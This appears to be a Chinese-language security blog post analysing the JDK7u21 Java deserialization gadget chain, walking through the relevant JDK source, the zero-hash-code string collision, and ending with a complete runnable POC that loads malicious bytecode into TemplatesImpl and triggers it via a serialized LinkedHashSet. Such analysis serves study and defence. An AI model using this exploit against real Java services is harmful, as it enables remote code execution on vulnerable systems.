原生反序列化链JDK7u21

前言

刚刚结束了Commons Beanutils链的分析,马上换了一下JDK的环境,来研究JDK7u21的反序列化链,这条链得在JDK版本小于等于7u21的情况下才能使用,所以我们这选择了jdk7u21

反序列化链分析

/*

Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.

See: https://gist.github.com/frohoff/24af7913611f8406eaf3

Call tree:

LinkedHashSet.readObject()
  LinkedHashSet.add()
    ...
      TemplatesImpl.hashCode() (X)
  LinkedHashSet.add()
    ...
      Proxy(Templates).hashCode() (X)
        AnnotationInvocationHandler.invoke() (X)
          AnnotationInvocationHandler.hashCodeImpl() (X)
            String.hashCode() (0)
            AnnotationInvocationHandler.memberValueHashCode() (X)
              TemplatesImpl.hashCode() (X)
      Proxy(Templates).equals()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
              ...
                TemplatesImpl.getOutputProperties()
                  TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                      TemplatesImpl.defineTransletClasses()
                        ClassLoader.defineClass()
                        Class.newInstance()
                          ...
                            MaliciousClass.<clinit>()
                              ...
                                Runtime.exec()
 */

上面是ysoserial关于JDK7u21这条链的调用顺序,这条链的话我也是第一次分析,所以有分析的不对的地方可以麻烦师傅指出

分析完之前的CC链和CB链,我们可以知道反序列化最终调用到的地方都是Runtime.exec(),我们有两种方法可以来调用他,一种是通过利用InvokerTransformer的transform方法来通过反射执行命令,另外一种是通过TemplatesImpl加载字节码来执行命令,这里的话他选择的是通过TemplatesImpl来调用最终的Runtime.exec,前面我在CC3这条链的时候已经大致分析过通过TemplatesImpl加载字节码执行命令的条件如下

  • TemplatesImpl的_name不等于null
  • TemplatesImpl的_class要等于null
  • TemplatesImpl的_bytecodes不等于null
  • TemplatesImpl的_bytecodes得是我们执行代码恶意类的字节码
  • _bytecodes中的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类

至此其实思路很清晰,既然他这使用到了TeamplatesImpl,那我们就必须得去找到调用TemplatesImpl.getOutputProperties()或者TemplatesImpl.newTransformer()的地方这里的话他是使用到了sun.reflect.annotation.AnnotationInvocationHandler这个类的invoke方法

public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();

    // Handle Object and Annotation methods
    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    assert paramTypes.length == 0;
    if (member.equals("toString"))
        return toStringImpl();
    if (member.equals("hashCode"))
        return hashCodeImpl();
    if (member.equals("annotationType"))
        return type;

    // Handle annotation member accessors
    Object result = memberValues.get(member);

    if (result == null)
        throw new IncompleteAnnotationException(type, member);

    if (result instanceof ExceptionProxy)
        throw ((ExceptionProxy) result).generateException();

    if (result.getClass().isArray() && Array.getLength(result) != 0)
        result = cloneArray(result);

    return result;
}

AnnotationInvocationHandler这个类中首先是进行了一个判断,member是通过method.getName获取的,必须是equals,也就是必须是equals方法,并且参数长度为一,也就是只有一个参数,才返回equalsImpl(args[0])

private Boolean equalsImpl(Object o) {
    if (o == this)
        return true;

    if (!type.isInstance(o))
        return false;
    for (Method memberMethod : getMemberMethods()) {
        String member = memberMethod.getName();
        Object ourValue = memberValues.get(member);
        Object hisValue = null;
        AnnotationInvocationHandler hisHandler = asOneOfUs(o);
        if (hisHandler != null) {
            hisValue = hisHandler.memberValues.get(member);
        } else {
            try {
                hisValue = memberMethod.invoke(o);
            } catch (InvocationTargetException e) {
                return false;
            } catch (IllegalAccessException e) {
                throw new AssertionError(e);
            }
        }
        if (!memberValueEquals(ourValue, hisValue))
            return false;
    }
    return true;
}

跟进equalsImpl方法,hisValue = memberMethod.invoke(o);这调用了invoke方法,这是一个很明显的反射调用,memberMethod 来自于this.type.getDeclaredMethods(),这里的type是通过构造函数传进的一个Annotation的子类

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    this.type = type;
    this.memberValues = memberValues;
}

也就是说,在equalsImpl中,遍历了this.type中的所有方法并且执行,那么我们假设一下,要是这里的type是上面说的TemplatesImpl类,他会自动遍历方法,并且去执行,也就是说他会自动执行我们的TemplatesImpl.getOutputProperties(),那么我们只需要找到对应调用这个AnnotationInvocationHandler的invoke方法即可。

这里的话就又得引入我们前面学过的动态代理的知识,回看AnnotationInvocationHandler ,可以发现,他其实是实现了InvocationHandler接口的,他有一个方法就是invoke,在使用 java.reflect.Proxy 动态绑定一个接口时,如果调用到了接口中的任意一个方法,他就会去调用InvocationHandler.invoke ()。前文也提到了,如果要调用到equalsImpl,必须满足方法名是equals并且只有一个参数。所以我们现在的目标就是去找到调用equals并且只有一个参数的位置。所以下面又得联系到另外一个知识,哈希碰撞

在java中常用的比较是equals和compareTo,任意Java对象都有equals方法,它通常用于比较两个对象是否是同一个引用。我们可以想一下Java中会调用到equals的地方。一个常见的调用场景就是set,因为他不允许里面的元素重复,所以在添加对象时肯定会涉及到equals的操作。因为ysoserial里的链子是用了LinkedHashSet,所以我这里也拿LinkedHashSet进行分析,下面来看看LinkedHashSet的readObject方法,其实LinkedHashSet是继承的HashSet类,并且自身没有readObject方法,所以这里直接拿HashSet类的readObject方法

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in any hidden serialization magic
    s.defaultReadObject();

    // Read in HashMap capacity and load factor and create backing HashMap
    int capacity = s.readInt();
    float loadFactor = s.readFloat();
    map = (((HashSet)this) instanceof LinkedHashSet ?
           new LinkedHashMap<E,Object>(capacity, loadFactor) :
           new HashMap<E,Object>(capacity, loadFactor));

    // Read in size
    int size = s.readInt();

    // Read in all elements in the proper order.
    for (int i=0; i<size; i++) {
        E e = (E) s.readObject();
        map.put(e, PRESENT);
    }
}

上面提到,set是集合,他会一个个把序列化以后的内容进行反序列化,然后读取每个对象put到map里,这里跟进put方法。

public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

首先put方法先判断了一下key是否是null,是话则抛出异常,然后使用对key计算hash,后面是一个for循环,关键点在for循环里的那个if判断。((k = e.key) == key || key.equals(k)),要想进入这个判断,首先得满足e.hash=hash并且k!=e.key,实际上就是说要key不一样但是通过key计算的hash一样,这里调用了key.equals(k),所以这里的key就得是那个Templates类型的代理,通过调用他的equlas方法,从而进入到AnnotationInvocationHandler的invoke方法,延长了调用链。

所以总的流程大概以及简略的介绍了,但是还有一个关键点就是我们刚刚提到的一个条件,e.hash == hash && ((k = e.key) == key || key.equals(k)),这里的话e.key==key需要满足的话只需要传入的两个元素key不是一个相同的类即可,所以现在的任务就是要找到hash相等的情况,在put方法中跟进hash方法

final int hash(Object k) {
    int h = 0;
    if (useAltHashing) {
        if (k instanceof String) {
            return sun.misc.Hashing.stringHash32((String) k);
        }
        h = hashSeed;
    }

    h ^= k.hashCode();

    // This function ensures that hashCodes that differ only by
    // constant multiples at each bit position have a bounded
    // number of collisions (approximately 8 at default load factor).
    h ^= (h >>> 20) ^ (h >>> 12);
    return h ^ (h >>> 7) ^ (h >>> 4);
}

其中变量其实只有key.hashCode,调用了传入的key的hashCode方法,其他都是进行一些固定的位运算和异或运算,继续跟进hashCode,我们这里的话传入的key是个Templates类型的代理,这里调用他的hashCode方法会先去调用AnnotationInvocationHandler的invoke方法

public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();

    // Handle Object and Annotation methods
    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    assert paramTypes.length == 0;
    if (member.equals("toString"))
        return toStringImpl();
    if (member.equals("hashCode"))
        return hashCodeImpl();
    if (member.equals("annotationType"))
        return type;

    // Handle annotation member accessors
    Object result = memberValues.get(member);

    if (result == null)
        throw new IncompleteAnnotationException(type, member);

    if (result instanceof ExceptionProxy)
        throw ((ExceptionProxy) result).generateException();

    if (result.getClass().isArray() && Array.getLength(result) != 0)
        result = cloneArray(result);

    return result;
}

因为这里是调用的代理类的hashCode,所以在AnnotationInvocationHandler的invoke里会进入if判断,返回hashCodeImpl()的结果,这里继续跟进hashCodeImpl()

private int hashCodeImpl() {
    int result = 0;
    for (Map.Entry<String, Object> e : memberValues.entrySet()) {
        result += (127 * e.getKey().hashCode()) ^
            memberValueHashCode(e.getValue());
    }
    return result;
}

可以看到这里是对memberValues进行了一个遍历,resualt是通过result += (127 * e.getKey().hashCode())^memberValueHashCode(e.getValue());计算,设想一下,要是memberValues只有一个一个key和一个value时,是不是就被简化为了result = (127 * e.getKey().hashCode())^memberValueHashCode(e.getValue());,那么我们要如何去构造另外一个key让他们两个的hashCode相等呢,可以看看ysoserial的源代码, 他其中在LinkedHashSet中add了两个对象,一个是TemplatesImpl,一个是Templates类型的代理,其中,TemplatesImpl类的hashCode是一个Native方法,每次运行都会发生变化,我们理论上是无法预测的,只能来看proxy的 hashCode() ,还是回到刚刚那,如果memberValues只有一个一个key和一个value时,hash就被简化为了result = (127 * e.getKey().hashCode())^memberValueHashCode(e.getValue());,但是如果此时的key.hashCode为0,也就是e.getKey().hashCode()==0,那么剩下的hash就被简化为memberValueHashCode(e.getValue())

private static int memberValueHashCode(Object value) {
    Class<?> type = value.getClass();
    if (!type.isArray())    // primitive, string, class, enum const,
                            // or annotation
        return value.hashCode();

    if (type == byte[].class)
        return Arrays.hashCode((byte[]) value);
    if (type == char[].class)
        return Arrays.hashCode((char[]) value);
    if (type == double[].class)
        return Arrays.hashCode((double[]) value);
    if (type == float[].class)
        return Arrays.hashCode((float[]) value);
    if (type == int[].class)
        return Arrays.hashCode((int[]) value);
    if (type == long[].class)
        return Arrays.hashCode((long[]) value);
    if (type == short[].class)
        return Arrays.hashCode((short[]) value);
    if (type == boolean[].class)
        return Arrays.hashCode((boolean[]) value);
    return Arrays.hashCode((Object[]) value);
}

memberValueHashCode方法如上,如果value不是数组,就直接返回value.hashCode,带入刚刚说的,如果e.getKey().hashCode()==0,那么剩下的hash就被简化为memberValueHashCode(e.getValue()),进一步简化为value.hashCode()此时如果我们的value是一个TemplateImpl对象,那么另外一个key计算的hashCode是否和这个key计算的hashCode就相等了呢?(其实这里我对这个TemplateImpl对象也是挺疑惑的,因为我没法去想到为什么会想到这样来完成这个哈希碰撞,想请教一下各位师傅们)

找到关于hashCode是0的对象, 就直接爆破即可,这里引用P牛的例子

public static void bruteHashCode() { 
	for (long i = 0; i < 9999999999L; i++) { 
		if (Long.toHexString(i).hashCode() == 0) {
        	System.out.println(Long.toHexString(i)); 
        } 
    } 
} 

这里爆破出来的字符串是f5a5a608

POC构造

这里的话我比较菜,看到很多大佬们用的javassist,我这里直接还是使用CC3的方法来完成我们的POC

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class jdk7u21 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class tc=templates.getClass();
        Field bytecodesField=tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("D://class/demo.class"));
        byte[][] codes= {code};
        bytecodesField.set(templates,codes);
        Field nameField=tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"ch1e");
        Field tfactoryField=tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        String zeroHashCodeStr = "f5a5a608";
        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");
        Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handlerConstructor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
        Templates proxy = (Templates) Proxy.newProxyInstance(jdk7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
        HashSet set = new LinkedHashSet();
        set.add(templates);
        set.add(proxy);
        map.put(zeroHashCodeStr, templates);
        serialize(set);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}